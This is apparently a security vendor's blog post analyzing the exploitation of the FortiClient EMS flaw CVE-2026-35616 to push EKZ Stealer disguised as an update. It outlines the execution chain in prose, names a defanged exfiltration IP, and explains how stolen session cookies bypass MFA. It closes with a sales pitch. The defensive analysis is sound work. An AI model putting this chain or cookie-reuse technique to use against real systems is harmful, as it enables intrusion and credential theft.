FortiClient EMS: When Your Antivirus Becomes the Attack

Your antivirus may have been the mechanism that infected your entire endpoint fleet. No hacker needed to breach each machine individually. The management system itself pushed the malware to every managed endpoint. When the security tool becomes the attack vector, the trust model inverts.

CVE-2026-35616: the bug that inverts trust

FortiClient EMS is the centralized platform that manages all endpoints in an organization. Update pushes, policies, configurations — everything flows through EMS. It is the control point. And that makes it the highest-value target.

CVE-2026-35616 is an improper access control vulnerability (CWE-284) with a CVSS score of 9.1. Pre-authentication API bypass. An unauthenticated attacker gains privileged access to the EMS server. With that access, they use the management features themselves to distribute malware to every connected endpoint. The antivirus becomes the infection vector.

CISA added the CVE to its KEV (Known Exploited Vulnerabilities) catalog in April 2026. Fortinet released out-of-band patches. Seven weeks later, active exploitation continues. The patch exists. Deployment did not happen at the required speed. Attackers keep finding exposed, unpatched EMS instances.

The problem is not purely technical — it is operational. EMS is a management system that requires maintenance windows, cross-team coordination, and often service restarts. In organizations with hundreds of endpoints, the gap between "patch available" and "patch applied across the fleet" can stretch to weeks. Attackers operate inside that gap.

The attack chain: EKZ Stealer via fake update

Arctic Wolf documented on May 28, 2026: attackers exploit unpatched EMS instances to push EKZ Stealer disguised as a legitimate Fortinet update.

The binary is called FortiEndpoint_Patch.exe. It looks like a legitimate update. The execution chain:

1. fortitray.exe (legitimate FortiClient process) executes a .cmd script
2. The script invokes PowerShell with a Base64 payload
3. PowerShell downloads and executes the stealer
4. Data is exfiltrated via HTTP POST to 83.138.53[.]110

The stealer collects from Chromium and Gecko browsers: saved passwords, session cookies, autofill data, credit card numbers, addresses, and phone numbers. Data is written to a log in the ProgramData directory before exfiltration. The binary itself appears clean — the malice lives in the script it invokes.

The use of fortitray.exe as the starting point is not accidental. It is a legitimate Fortinet-signed process. EDR solutions that rely on digital signatures as trust indicators will not flag this behavior. The attacker weaponizes the trust that the Fortinet ecosystem already established against itself.

The MFA bypass nobody expects

Stolen session cookies enable session reuse. The attacker does not need a password. Does not need a second factor. They reuse the user's active session.

In enterprise environments where MFA is the primary line of defense, stealing session cookies is equivalent to bypassing MFA entirely. Multi-factor authentication protects the moment of login. It does not protect the session already established. And that is exactly what EKZ Stealer exploits: it steals the cookie that proves the user already authenticated.

This changes the risk calculus. If your organization relies on MFA as the primary control and has no protection for session tokens, the defense chain has a link nobody was monitoring.

The scenario worsens when you consider that stolen session cookies can grant access to corporate email, internal portals, ERP systems, and cloud platforms. A single O365 or Google Workspace session cookie can be the key to lateral access across the entire infrastructure. EKZ Stealer does not just steal credentials — it steals the complete authentication context.

The timeline that matters

April 2026: Fortinet releases out-of-band patches. CISA adds the CVE to KEV. The message is clear — active exploitation confirmed, patching is mandatory.

Seven weeks later: Arctic Wolf documents continued active exploitation. Exposed EMS instances are still being found and compromised. The patch closes the window for new exploitation. But it does nothing for already-compromised instances.

Here is the question few are asking: what was pushed before the upgrade? What credentials were stolen during the exposure window? "We patched" is a statement about future risk. The question about present state is: what already happened while we were vulnerable?

You can only answer that with telemetry, hunting, and credential rotation. The patch is necessary. It is not sufficient.

The gap between "patch available" and "environment secure" is where attackers operate. They do not need a zero-day when the patching window is measured in weeks. They need an exposed EMS — and there are plenty.

The structural lesson

Software with elevated privileges on every endpoint is a high-value target precisely because of those privileges. FortiClient EMS has management access to the entire fleet. When that access is compromised, the blast radius is total — not one endpoint, but all of them.

When the security tool becomes the attack mechanism, the trust model inverts. The agent that should protect becomes the infection vector. The infrastructure that should isolate becomes the distribution channel.

At Tech86, we audit endpoint infrastructure and replace compromised EMS deployments with architectures that enforce real isolation between the management plane and the endpoints. Your antivirus cannot be the infection vector. If it can, the architecture is wrong.